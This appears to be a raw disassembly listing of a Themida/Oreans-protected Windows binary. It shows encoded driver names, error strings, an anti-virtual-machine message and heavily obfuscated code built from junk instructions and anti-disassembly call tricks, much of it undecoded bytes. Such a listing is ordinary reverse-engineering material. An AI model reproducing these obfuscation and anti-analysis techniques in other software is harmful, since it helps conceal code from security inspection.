		dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h
		dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h
		dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 10h
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
		dd 4F5C7325h, 6E616572h, 78762E73h, 64h, 2 dup(0)
aXprotevent	db 'XprotEvent',0
		align 10h
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h, 94h,	5, 1, 0A28h, 2,	76726553h, 20656369h, 6B636150h
		dd 3220h, 1Dh dup(0)
		dd 74666F53h, 65726177h, 6E69575Ch
		db 65h,	0
; ---------------------------------------------------------------------------


loc_5AC646:				; CODE XREF: sub_5AB4CD:loc_5AB58Aj
		mov	eax, esp
		mov	dh, 4Ah
		mov	[ebp+6130E81h],	eax
		mov	di, 0BF07h
		mov	eax, eax
		jmp	loc_5AC66D
; ---------------------------------------------------------------------------
		db 99h
		dd 0F7161FC0h, 0FE2BC48Bh, 3CC1B091h, 9CCD2D42h
; ---------------------------------------------------------------------------
		inc	ebp


loc_5AC66D:				; CODE XREF: sub_5AB4CD+1189j
		cmp	dword ptr [ebp+6131625h], 0
		jnz	short loc_5AC67F
		cmp	dword ptr [ebp+6132C81h], 0
		jz	short loc_5AC698


loc_5AC67F:				; CODE XREF: sub_5AB4CD+11A7j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+6130D7Dh],	eax
		lea	ebx, [ebp+615A97Dh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AC698:				; CODE XREF: sub_5AB4CD+11B0j
		cmp	dword ptr [ebp+6132C81h], 0
		jz	short loc_5AC6B8
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+6130D7Dh],	eax
		lea	ebx, [ebp+615A66Ch]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AC6B8:				; CODE XREF: sub_5AB4CD+11D2j
		jle	loc_5AC6C1
		sbb	dl, 23h


loc_5AC6C1:				; CODE XREF: sub_5AB4CD:loc_5AC6B8j
		push	0
		push	ecx
		call	sub_5AC6CC
		and	[ecx-3Dh], bl
sub_5AB4CD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5AC6CC	proc near		; CODE XREF: sub_5AB4CD+11F7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5AC6CC	endp

; ---------------------------------------------------------------------------
		dd 97E30338h, 4E0CC895h, 19852988h, 8B06130Bh, 198589C0h
		dd 8106130Eh, 0CE6A3DEAh, 0E9C08B74h, 6, 0BF9B9739h, 0BD839B5Dh
		dd 6131625h, 83097500h,	132C81BDh, 13740006h, 0C08B5350h
		dd 0B8h, 1F9D8D00h, 0FF0615A8h,	83585BD3h, 132C81BDh, 11740006h
		dd 0B85350h, 8D000000h,	15A6D09Dh, 5BD3FF06h, 52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0D828BFC0h, 97B1F82Fh, 0EE960h, 70790000h, 0CDD7DCDEh
		dd 0C45ADF4Eh, 0D4CE7398h, 19F18589h, 8B610613h, 7E9C0h
		dd 0FC540000h, 0A0A2A439h, 0E9C08B52h, 6, 966C438Ch, 8B669A44h
		dd 25BD83F8h, 61316h, 0BD830975h, 6132C81h, 50137400h
		dd 0B8C08B53h, 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+615A751h]
		call	ebx	; _iob
		pop	ebx
		pop	eax
		cmp	dword ptr [ebp+6132C81h], 0
		jz	short loc_5AC7E0
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+615A69Eh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AC7E0:				; CODE XREF: Themida_:005AC7CDj
		mov	dx, 7894h
		mov	edx, 6D7D7E4Eh
		or	cx, 6C0Dh
		mov	eax, eax
		mov	edx, ebx
		mov	eax, eax
		jmp	loc_5AC809
; ---------------------------------------------------------------------------
		pop	edi
		adc	eax, [edx]
		and	dword ptr [edx+583B8D55h], 0FFFFFF99h
		cmc
		mov	edi, 0DBEB437h


loc_5AC809:				; CODE XREF: Themida_:005AC7F4j
		mov	edi, [ebp+6130F01h]
		cmp	dword ptr [ebp+6131625h], 0
		jnz	short loc_5AC821
		cmp	dword ptr [ebp+6132C81h], 0
		jz	short loc_5AC834


loc_5AC821:				; CODE XREF: Themida_:005AC816j
		push	eax
		push	ebx
		mov	eax, eax	; CODE XREF: Themida_:005AC896j
		mov	eax, 0
		lea	ebx, [ebp+615A7B8h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AC834:				; CODE XREF: Themida_:005AC81Fj
		cmp	dword ptr [ebp+6132C81h], 0
		jz	short loc_5AC84E
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+615A6B7h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AC84E:				; CODE XREF: Themida_:005AC83Bj
		mov	dx, 3692h
		or	edx, 38519D3Eh
		mov	eax, eax
		stc
		mov	eax, eax
		xor	cx, 93D8h
		cmp	dword ptr [ebp+6131625h], 0
		jnz	short loc_5AC874
		cmp	dword ptr [ebp+6132C81h], 0
		jz	short loc_5AC887


loc_5AC874:				; CODE XREF: Themida_:005AC869j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+615A6EAh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AC887:				; CODE XREF: Themida_:005AC872j
		call	near ptr loc_5AC88E+5
		repne pop ds


loc_5AC88E:				; CODE XREF: Themida_:loc_5AC887p
		sub	[eax-7EBC3B9Dh], bh
		fldenv	byte ptr [edx]
		jecxz	short near ptr loc_5AC823+1
		db	3Eh
		pop	edi
		add	ecx, [ebp+6132485h]
		mov	eax, eax
		push	0
		push	ecx
		call	sub_5AC8AD
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AC8AD	proc near		; CODE XREF: Themida_:005AC8A5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5AC8AD	endp

; ---------------------------------------------------------------------------
		db 0ABh, 0D9h, 6Fh
		dd 4ADB3C08h, 85BD8B6Fh, 8A061313h, 0FC08BD3h, 0F86h, 0AE900h
		dd 652A0000h, 4F930C5Bh, 0D54F7791h, 1625BD83h,	75000613h
		dd 81BD8309h, 6132Ch, 53501974h, 0D0B8C08Bh, 89000007h
		dd 130D7D85h, 7D9D8D06h, 0FF0615A9h, 83585BD3h,	132C81BDh
		dd 17740006h, 0D0B85350h, 89000007h, 130D7D85h,	6C9D8D06h
		dd 0FF0615A6h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0DF56C352h,	8AA7B992h
		dd 0BD8B3237h, 6130B41h, 0C8A0Fh, 7E90000h, 50000000h
		dd 0BE409405h, 0C08BA561h, 0C6CF8B66h, 1311E185h, 6A5306h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 5B6F62C3h, 1E8C860Eh, 58B0F9Bh, 66000000h, 0D873EF81h
		dd 395F9068h, 0B96699h,	6DB5FF33h, 80061311h, 858DE2E6h
		dd 6133AADh, 1D41BD8Bh,	0D0FF0613h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 6FC35141h, 0AA450E38h, 89E6D034h
		dd 131D8985h, 0B5BD8906h, 0C606130Eh, 1311E185h, 6A5706h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 196560C3h, 66862CEh,	50900452h, 68E0Fh, 8A0F0000h, 0
		dd 6DB5FF5Ah, 31061311h, 132A818Dh, 0AD858D06h,	0E806133Ah
		dd 0Eh,	695D5572h, 0DE1E1915h, 9A3DD322h, 880FB132h, 2
		dd 66596160h, 0FFE96FBAh, 0B70FF5D0h, 0AD8589D6h, 6A061331h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0D4F6C353h, 11E185C6h, 89430613h,	1300A5BDh
		dd 70286806h, 0EFB9BC90h, 0FF7C382Eh, 13116DB5h, 68F0F06h
		dd 8B000000h, 13323D95h, 0AD858D06h, 8906133Ah,	1325B1BDh
		dd 0BFD0FF06h, 1D1EDD91h, 12898589h, 0BF660613h, 85C628A6h
		dd 61311E1h, 0FD95234Ch, 68061322h, 0D9DA1CE9h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 46C35343h, 2DB52950h
		dd 0FF061309h, 13116DB5h, 0DE906h, 202E0000h, 44463F1Ch
		dd 681324Ah, 8D482D9Fh,	133AAD85h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 65D24C13h
		dd 30A59589h, 0E8600613h, 11h, 8BB8806Dh, 0F71C98C7h, 0B120B9C1h
		dd 3EFA4476h, 6AEE8124h, 5E55C69Bh, 28819D01h, 0FF610613h
		dd 3BBF66D0h, 0ED85892Fh, 6A061311h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 3FBC353h
		dd 33920B34h, 0C6885CD3h, 1311E185h, 0E8B14606h, 0DE061468h
		dd 57006ABAh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 6259A6C1h, 11952BDBh, 0FF061328h, 13116DB5h
		dd 858DFC06h, 6133AADh,	850FD0FFh, 6, 0B4DBD29h, 85890613h
		dd 6131CF9h, 0E1E38160h, 0E97D320Fh, 9,	0FFDFD97Bh, 0ED5DB1E9h
		dd 85C661D8h, 61311E1h,	49958947h, 68061301h, 8A0FB5E2h
		dd 0BA8EB760h, 6499A355h, 6DB5FF61h, 6A061311h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 873AC352h, 0C0D31788h, 858DFB8Bh, 6133AADh, 6AD0FFF8h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0A349C356h, 0BE9h, 37C39E00h, 0CF444D8h
		dd 413722DAh, 6800Fh, 9D890000h, 6131B99h, 8A19503h, 85890613h
		dd 6131315h, 398D3352h,	5F061332h, 11E185C6h, 6A470613h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 33FEC352h, 5F28CC7Fh, 0ED8D9FA6h,	0D0B5F368h
		dd 0E5958B83h, 0FF061309h, 13116DB5h, 68A0F06h,	8B000000h
		dd 13254995h, 0AD858D06h, 8106133Ah, 160068D7h,	89D0FF5Bh
		dd 131621BDh, 15858906h, 0F06131Bh, 85C6D7B7h, 61311E1h
		dd 19958B77h, 6606131Dh, 6885DDBFh, 0F397A8A3h,	2B21BD31h
		dd 0B5FF0613h, 61310D1h, 0A35958Bh, 858D0613h, 6133AADh
		dd 0BE9h, 0EFEB3600h, 5E8023BBh, 4709E2DEh, 1D7D8D29h
		dd 0D0FF0613h, 8962EA80h, 13118585h, 0E185C606h, 47061311h
		dd 16D8D0Bh, 0F88B0613h, 28FAF668h, 7D8D8B87h, 0FF061320h
		dd 13116DB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 8DA62361h, 133AAD85h, 0D7B70F06h
		dd 8589D0FFh, 61304C9h,	30718589h, 0B70F0613h, 199589CBh
		dd 0C6061332h, 1311E185h, 0FE94306h, 50000000h,	1452232Dh
		dd 0B0A3795h, 87BEEE18h, 0FC6850CCh, 89BC8E6Eh,	1310A98Dh
		dd 6DB5FF06h, 8B061311h, 1321618Dh, 0AD858D06h,	8906133Ah
		dd 131E5595h, 66D0FF06h, 0D009DA81h, 1B9D8589h,	0B9600613h
		dd 3AC48D9Ah, 61D2BF0Fh, 56FBA66h, 11E185C6h, 0E9450613h
		dd 12h,	1F48A7B6h, 41868D2Eh, 12D2D3E9h, 380BEA25h, 6968043Ah
		dd 808E7269h, 0B5FF61EDh, 613116Dh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0BDC35646h,	9E1EBF40h, 858D13C2h
		dd 6133AADh, 180FB966h,	0E981D0FFh, 1CDE1532h, 1CBD8589h
		dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 96992BC3h, 8B32138Fh, 130E858Dh, 0E185C606h
		dd 44061311h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 14h,	29C35242h, 385CDA81h, 6468765Ah, 0FB8F2ECh, 0B5FFD3B7h
		dd 613116Dh, 26D2BF66h,	3AAD858Dh, 6A0613h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0FF8AD8C3h
		dd 5BD03D0h, 89061313h,	130C5185h, 927EBF06h, 85C63461h
		dd 61311E1h, 53006A43h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 282323CCh, 0F1ECF5Ch, 0A768FABFh
		dd 0E9C0764Ah, 7, 272C6AF5h, 66B7AC61h,	0FF92A0BAh, 13116DB5h
		dd 71950B06h, 8D061320h, 133AAD85h, 21B50106h, 0FF061300h
		dd 0E59589D0h, 89061321h, 13120985h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 83BCCFEAh
		dd 29638B34h, 60532FCBh, 0BD89C28Bh, 6130FDDh, 0BD805961h
		dd 615FEB3h, 0DD840F00h, 0E9000000h, 9,	58841389h, 90277518h
		dd 95858DC8h, 500615FEh, 6A016AF8h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0BC30C357h
		dd 78557F12h, 8B1CC9AFh, 1313C9BDh, 0F8006A06h,	0FFFC006Ah
		dd 13128995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 67F056A9h, 4880Fh, 0BF660000h, 8589B1B1h
		dd 61313A9h, 0FF6AD08Bh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 16C35141h, 891E8A63h,	0C46ADDC5h, 0A9B5FF28h
		dd 6A061313h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 6D0BC351h, 1CC88515h, 0D3C1BF66h
		dd 31AD95FFh, 95890613h, 6130B45h, 83F9C08Bh, 131625BDh
		dd 9750006h, 2C81BD83h,	74000613h, 8B535019h, 7D1B8C0h
		dd 85890000h, 6130D7Dh,	0A97D9D8Dh, 0D3FF0615h,	0BD83585Bh
		dd 6132C81h, 50177400h,	7D1B853h, 85890000h, 6130D7Dh
		dd 0A66C9D8Dh, 0D3FF0615h, 8589585Bh, 61323C1h,	8BFABF0Fh
		dd 0BE9C0h, 35320000h, 0D0FB17E0h, 7A8F87C7h, 0E185C698h
		dd 47061311h, 12E9h, 0B17CCD00h, 826CCF1Ah, 86CADA64h
		dd 10FE4800h, 8B526D36h, 1311718Dh, 0F7C16806h,	9E993C8h
		dd 13000000h, 8247F391h, 1BB3AC7Dh, 116DB5FFh, 6A0613h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 23B354C3h, 4349AFF8h, 0AD858DDBh, 0F06133Ah,	883h, 95095100h
		dd 6133219h, 6AD0FF5Fh,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 241DC357h, 0C25EDC97h
		dd 5A457ED5h, 0D6858D50h, 89061602h, 13309985h,	9400C706h
		dd 0F000000h, 77BAC9BFh, 5868FECBh, 0CA477BBFh,	0D6B58D2Dh
		dd 6A061602h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 5F34C355h, 382A06D2h, 9597E303h
		dd 14919D89h, 0E8560613h, 11h, 91703273h, 0A2121192h, 0DDA5DD8Eh
		dd 0A268488Ah, 38A0FBCh, 66000000h, 0FF5FF98Bh,	0DD8D0BD0h
		dd 0BA061314h, 5FD576D6h, 2D6858Dh, 89500616h, 131FD19Dh
		dd 78835906h, 850F0604h, 15h, 16B5958Bh
		dd 85C70613h, 616036Ah,	1, 0F1C78166h, 31BD83F3h, 6130Ah
		dd 38850Fh, 95890000h, 613306Dh, 36ABD83h, 0F000616h, 2585h
		dd 0BAC18100h, 8326852Eh, 131129BDh, 840F0006h,	12h, 0C7FABF0Fh
		dd 1307E585h, 6, 6EAEBA00h, 8C662D9Eh, 0F635B2DBh, 840F04C3h
		dd 4B1h, 899B529h, 85C70613h, 613173Dh,	0
; ---------------------------------------------------------------------------
		adc	ecx, 315D9712h
		cmp	byte ptr [ebp+615FEC0h], 0
		jnz	loc_5AD2B9
		mov	[ebp+6131571h],	eax


loc_5AD2B9:				; CODE XREF: Themida_:005AD2ADj
		mov	byte ptr [ebp+61311E1h], 47h
		pusha
		mov	ch, 0CFh
		add	dx, 33CEh
		popa
		push	0E3E45B86h
		push	0
		push	edx
		call	sub_5AD2D9
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AD2D9	proc near		; CODE XREF: Themida_:005AD2D1p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5AD2D9	endp

; ---------------------------------------------------------------------------
		db 25h,	0F9h, 0A5h
		dd 78B7871h, 6DB5FFC5h,	8A061311h, 0AD858DD7h, 0F06133Ah
		dd 287h, 0FFC1B500h, 4D958BD0h,	6806130Ch, 104h, 13E9h
		dd 567EF400h, 0A55A762Fh, 0D05BC954h, 15666A67h, 0E6ECE940h
		dd 178D9D8Dh, 9D310613h, 6131631h, 38F0F53h, 0F000000h
		dd 9D01D6BFh, 6133121h,	6660D0FFh, 0A471D281h, 0FE9h, 0A9C33800h
		dd 7C3F52A4h, 9FBB0B8Bh, 30526748h, 8D858D61h, 0F061317h
		dd 58Bh, 692AB900h, 29502FCAh, 13063595h, 72858D06h, 6A0615FEh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0E898C355h, 9, 9C4530B7h,	0FE6D2A5Dh, 39952363h
		dd 5906130Ah, 68B0Fh, 8D0B0000h, 6132C49h, 0F5958950h
		dd 6006131Ch, 0EE9h, 65BE5C00h,	0A41C3797h, 6760CE67h
		dd 89A5E7BAh, 1330F185h, 858D6106h, 615F545h, 6A50D68Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 70B9C357h, 0AAAE259Eh, 995B00EFh,	66CE8B66h
		dd 0FF5596B9h, 13118595h, 8D89F906h, 61314EDh, 530CC483h
		dd 0A399D89h, 6A5F0613h, 806800h, 36A0000h, 6A006Ah, 68h
		dd 45858D80h, 500615F5h, 1B9D95FFh, 85890613h, 615FE55h
		dd 11E185C6h, 68470613h, 0C7B15E87h, 116DB5FFh,	858D0613h
		dd 6133AADh, 6AD0FFh, 0FE55B5FFh, 0D0FF0615h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 79C35646h, 1953162h
		dd 9061310h, 130C3185h,	37D03D06h, 830F0000h, 28h, 34F239B9h
		dd 55B5FF79h, 0F50615FEh, 120995FFh, 8D0B0613h,	6130C69h
		dd 0B2E9h, 419D8900h, 0BF06130Ah, 5A6BA66Ah, 0FE55B5FFh
		dd 0D78B0615h, 120995FFh, 30B50613h, 10E9006Ah,	12000000h
		dd 4A6E2A64h, 5DCBC704h, 0A25769CFh, 6A30E161h,	68A0F00h
		dd 89000000h, 130E298Dh, 8B006A06h, 0E9006AD7h,	0Ch, 4DE38159h
		dd 0F030DC51h, 24DB26B1h, 6A006Ah, 8DCFC580h, 15FE5985h
		dd 458D8B06h, 8B061330h, 130B6995h, 6A5006h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 468533C3h
		dd 0C03821E2h, 810FD38Bh, 6, 0D5A8EF81h, 95FF5CE3h, 6131B9Dh
		dd 0FFFF883h, 0E985h, 8DD18B00h, 15B91285h, 5952B06h, 0FF061313h
		dd 319D89D0h, 6A06130Dh, 5E900h, 3E0B0000h, 89D1B54Bh
		dd 1322B98Dh, 8A006A06h, 75B589D1h, 6A061311h, 463ABA00h
		dd 6A2FC5h, 6AC8B70Fh, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 2997871Fh, 6A8B97h, 10E9h
		dd 0FE0D8100h, 78E60903h, 0DC67D2A6h, 28BD378Eh, 59858D66h
		dd 290615FEh, 131EDDBDh, 8A505006h, 95FF59CAh, 6131B9Dh
		dd 6880Fh, 8D8B0000h, 61328DDh,	0FFFF883h, 4585h, 0D68B6600h
		dd 0F861B58Dh, 860F0615h, 5, 0F0CFE8B9h, 4D858D31h, 0F0615A3h
		dd 0D0FFCABFh, 7C58D89h, 6A0613h, 12D9958Bh, 0B5890613h
		dd 6131BA1h, 1CBD95FFh,	820F0613h, 6, 0B414E181h, 8589058Ah
		dd 615FE55h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	69C35545h, 8DF9006Ah, 15FE4D85h, 659D0906h, 5006130Ah
		dd 81F28052h, 0B9046A59h, 17DA9148h, 29C5858Dh,	0E3B50613h
		dd 56006A50h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 69F25C7Dh, 80163E5Ch, 79BD318Bh,	6A061319h
		dd 1026BA00h, 6A21A1h, 6A77E580h, 53006A01h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0FC9DBE44h
		dd 0C271AF50h, 55B5FF5Eh, 0B10615FEh, 5195FF86h, 6A06130Ch
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 15EDC355h, 535D8705h, 71E9F8B1h, 8900001Bh
		dd 132EBD95h, 66C08B06h, 838CBDB9h, 131625BDh, 9750006h
		dd 2C81BD83h, 74000613h, 8B535019h, 7D2B8C0h, 85890000h
		dd 6130D7Dh, 0A97D9D8Dh, 0D3FF0615h, 0BD83585Bh, 6132C81h
		dd 50177400h, 7D2B853h,	85890000h, 6130D7Dh, 0A66C9D8Dh
		dd 0D3FF0615h, 8060585Bh, 0D78B85E9h, 0FC08B61h, 382h
		dd 0D38B6600h, 173D85C7h, 10613h, 85090000h, 61330A1h
		dd 0E4E7B868h, 0C9B5FFCEh, 8D061307h, 133AAD85h, 89D0FF06h
		dd 1312FD85h, 0B1858D06h, 50061600h, 36E858Dh, 68500616h
		dd 80000001h, 12FD95FFh, 0C00B0613h, 85C70A75h,	6130F0Dh
		dd 1, 5DBD468h,	0C9B5FFC0h, 8D061307h, 133AAD85h, 89D0FF06h
		dd 13119185h, 0FE858D06h, 500615F2h, 116DB5FFh,	95FF0613h
		dd 6131315h, 0B74C00Bh,	858DD88Bh, 61602B1h, 8DD3FF50h
		dd 1602B185h, 38836606h, 0C70A7509h, 13150585h,	106h, 7195FF00h
		dd 25061330h, 0FFh, 7305F883h, 2D85C70Ah, 1061321h, 0B6000000h
		dd 0D9958B61h, 8006130Ah, 15FEC0BDh, 840F0006h,	16h, 2860Fh
		dd 0D38A0000h, 36ABD83h, 0F000616h, 0C84h, 1DE9F800h, 8B00001Ah
		dd 131749BDh, 5BD8306h,	61315h,	9B850Fh, 8D8B0000h, 6130031h
		dd 0FE8A858Dh, 0B9660615h, 0B9500669h, 63400F16h, 0BD8B016Ah
		dd 6132F9Dh, 6A5FF852h,	0DE900h, 15B20000h, 7294FFF4h
		dd 0C2063A82h, 6ADE17EDh, 0C7816600h, 0B589E9E3h, 61315E1h
		dd 128995FFh, 0B5010613h, 6132509h, 0FEB48589h,	6A0615h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0E2E4EC3h, 559D3360h, 5306131Dh, 615A5A57h, 0B70FFF6Ah
		dd 0B4B5FFCAh, 0B20615FEh, 0AD95FFD2h, 60061331h, 1EE1B589h
		dd 1CB70613h, 0C5858D61h, 570615F2h, 11E9h, 6190B600h
		dd 43F29EC7h, 7E27A3FAh, 2E300A7h, 505A4333h, 62D28166h
		dd 0ED95FF84h, 29061311h, 1319C99Dh, 81858906h,	8906132Fh
		dd 15F34F85h, 0D7B70F06h, 7E9h,	9700DB00h, 45316028h, 0F2D2858Dh
		dd 0CA800615h, 0E18D01B4h, 50061316h, 0A1BD8960h, 0E9061309h
		dd 0Ah,	3146D29Fh, 0C5539173h, 0FF61C88Fh, 15F34FB5h, 0F5952306h
		dd 8B061330h, 131B8D95h, 1595FF06h, 0E8061313h,	5, 69A561BEh
		dd 8195010Dh, 5F061329h, 1B98589h, 0BD890613h, 6130A0Dh
